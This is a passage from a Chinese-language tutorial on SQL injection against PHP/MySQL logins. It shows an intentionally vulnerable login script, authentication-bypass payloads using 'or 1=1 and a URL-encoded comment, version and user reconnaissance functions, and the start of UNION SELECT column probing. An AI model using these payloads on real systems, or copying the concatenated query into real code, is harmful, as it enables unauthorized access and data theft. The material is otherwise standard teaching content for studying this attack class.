|
注意:在浏览器地址栏输入#时应把它写成%23,这样经urlencode转换后才能成为#,从而起到注释的作用。#号在浏览器的地址框中输入的话可什么也不是哦。 为了大家深刻理解 这里我给大家来个例题 有如下的管理员信息表 CREATE TABLE alphaauthor ( Id tinyint(4) NOT NULL auto_increment, UserName varchar(50) NOT NULL default '', PASSWORD varchar(50) default NULL, Name varchar(50) default NULL, PRIMARY KEY (Id), UNIQUE KEY Id (Id), KEY Id_2 (Id) ) <?php //Login.php …… $query="select * from alphaauthor where UserName='$username' and Password='$passwd'"; $result=mysql_query($query); $data=mysql_fetch_array($result); if ($data) { Echo “重要信息”; } Else Echo “登陆失败”; …… ?> 我们在浏览器地址框直接输入 http://***/login.php?username=a’or id=1 %23 %23转换成#了 放到sql语句中 select * from alphaauthor where UserName='a’or id=1 #' and Password='$passwd'
#号后面的都拜输入了,看看 这句话等价于 select * from alphaauthor where UserName='a’or id=1 再仔细看看表的结构,只要有id=1的账户,返回的$data就应该为真 我们就直接登陆了,当然你也可以写 hppt://***/login.php?username=a’or 1=1 %23
一样的啦 3.下面将要出场的是…… 对了,就是这些显示系统信息的间谍们 VERSION() 返回数据库版本信息 DATABASE() 返回当前的数据库名字,如果没有当前的数据库,DATABASE()返回空字符串。 USER() SYSTEM_USER() SESSION_USER() 返回当前MySQL用户名 mysql> select user(),database(),version(); +----------------+------------+----------------+ | user() | database() | version() | +----------------+------------+----------------+ | root@localhost | alpha | 5.0.0-alpha-nt | +----------------+------------+----------------+ 1 row in set (0.01 sec) 如图(1)所示,图不是很爽是不是?睁大你的大眼睛好好看哦 有时候很有用的哦,比如说你可以根据他的mysql版本看看他的mysql有没有什么溢出漏洞,没准我们就发现个好动东哈哈 4. 下面进入最重要的部分了,没睡觉的打起精神来,睡着了的醒一醒啦。 1)select union select 还是php中文手册中讲的: SELECT ... UNION [ALL] SELECT ... [UNION SELECT ...] UNION 在 MySQL 4.0.0 中被实现。 UNION 用于将多个 SELECT 语句的结果联合到一个结果集中。 在 SELECT 中的 select_expression 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。 SELECT 命令是一个普通的选择命令,但是有下列的限制: 只有最后一个 SELECT 命令可以有 INTO OUTFILE。 需要注意的是union前后的select字段数相同,只有这样union函数才能发挥作用。如果字段数不等将返回 ERROR 1222 (21000): The used SELECT statements have a different number of columns 错误 晕咯,这样不好吧。咋半哩? 别急哈,急也没用的 例如: 已知alphadb表有11列 我们 以下是引用片段: mysql> select * from alphadb where id=351 union select 1,2,3,4,5,6,7,8,9,10 from alphaauthor; |
如图(2) 我们只slect了10个数当然出错啦。 下面看 以下是引用片段: mysql> select * from alphadb where id=347 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor; |
上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] 下一页 |